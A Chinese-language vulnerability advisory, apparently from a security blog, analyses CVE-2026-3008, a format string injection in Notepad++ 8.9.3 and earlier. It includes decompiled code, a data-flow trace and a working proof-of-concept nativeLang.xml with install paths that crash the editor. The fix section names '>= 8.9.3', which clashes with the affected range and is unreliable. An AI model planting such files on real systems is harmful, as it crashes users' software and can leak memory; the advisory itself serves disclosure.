首页 网络安全 正文
  • 本文约1499字,阅读需7分钟
  • 106
  • 0

Notepad++ 8.9.3格式字符串注入CVE-2026-3008

摘要

栋科技漏洞库关注到 Notepad++ 在 8.9.3 及之前版本的格式字符串注入漏洞,漏洞现已被追踪为CVE-2026-3008,CVSS 3.1评分6.6。

Notepad++ 是 Windows 平台下一款免费开源、轻量但功能极强的文本 / 代码编辑器,常被称为 “系统记事本的超级增强版”,启动极快。

一、基本情况

Notepad++ 是一款开源文本编辑器,广泛应用于 Windows 代码编辑与文本处理,内存占用低,适合需要高效处理文本与代码的用户。

Notepad++ 8.9.3格式字符串注入CVE-2026-3008

Notepad++ 是专为Windows系统打造的免费开源纯文本编辑器与源代码编辑器,遵循GPL开源授权协议,个人与商业场景均免费使用。

栋科技漏洞库关注到 Notepad++ 在 8.9.3 及之前版本的格式字符串注入漏洞,漏洞现已被追踪为CVE-2026-3008,CVSS 3.1评分6.6。

二、漏洞分析

CVE-2026-3008 是 Notepad++ 漏洞,攻击者通过恶意构造的nativeLang.xml等文件触发,利用后可泄露内存地址信息或导致应用崩溃。

受影响版本中,FindReplaceDlg::findAllIn 函数在处理搜索结果时,

调用 wsprintf(_findAllResultStr, text.c_str()) 将从 nativeLang.xml 读取的 find-result-hits 值作为格式字符串处理。

1、当恶意语言包在 find-result-hits 中注入 %s、%x 等格式说明符时,

wsprintf 会将其作为格式指令解析,导致内存地址信息泄露或应用崩溃。

当搜索操作生成结果时,sub_1400916C0 函数会从 nativeLang.xml 文件中读取本地化字符串,

并将其直接作为格式化字符串传入宽字符格式化函数 wsprintfW,以此完成命中计数标签的格式化处理。

sub_140099E60(v37, v51, *(unsigned int *)(a1 + 196));  // get localized string
v38 = (const WCHAR *)v51;
if ( v53 > 7 )
    v38 = v51[0];                                       // SSO: heap pointer
wsprintfW((LPWSTR)(a1 + 0xC8), v38);                   // v38 is the format string

该字符串源自nativeLang.xml文件中的<find-result-hits>属性,且在整个数据流中未经过任何校验。

nativeLang.xml
  → TinyXML parser          (reads XML attribute, no content validation)
  → NativeLangSpeaker       (UTF-8 → UTF-16 conversion, no validation)
  → sub_140099E60           ($INT_REPLACE$ substitution — format specifiers survive)
  → wsprintfW(buf, v38)     (v38 used as format string argument, not data)

调用wsprintfW时仅传入两个参数,无可变参数数据。

v38中的任何格式说明符都会从x64调用约定的参数槽(R8、R9、栈)中读取值,这些位置存储着无用的寄存器残留数据。

三、POC概念验证

将下述文件放置于 <npp 目录>\nativeLang.xml(便携版)或 % APPDATA%\Notepad++\nativeLang.xml(安装版)路径下,

随后,启动记事本 ++,执行任意可返回结果的搜索操作(按下 Ctrl+F,选择在当前文档中全部查找)。

<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
    <Native-Langue name="PoC" filename="poc.xml" version="8.9.3">
        <Menu><Main></Main></Menu>
        <MiscStrings>
            <find-result-hits value="%s%s%s%s%s%s%s%s"/>
        </MiscStrings>
    </Native-Langue>
</NotepadPlus>

结果:Notepad++ 随即崩溃,wsprintfW 函数发生访问冲突。

更多载荷变体存放于 payloads/ 目录中。

四、影响范围

Notepad++ <= 8.9.3

五、修复建议

Notepad++ >= 8.9.3

六、参考链接

管理员已设置登录后刷新可查看



扫描二维码,在手机上阅读
评论
更换验证码
友情链接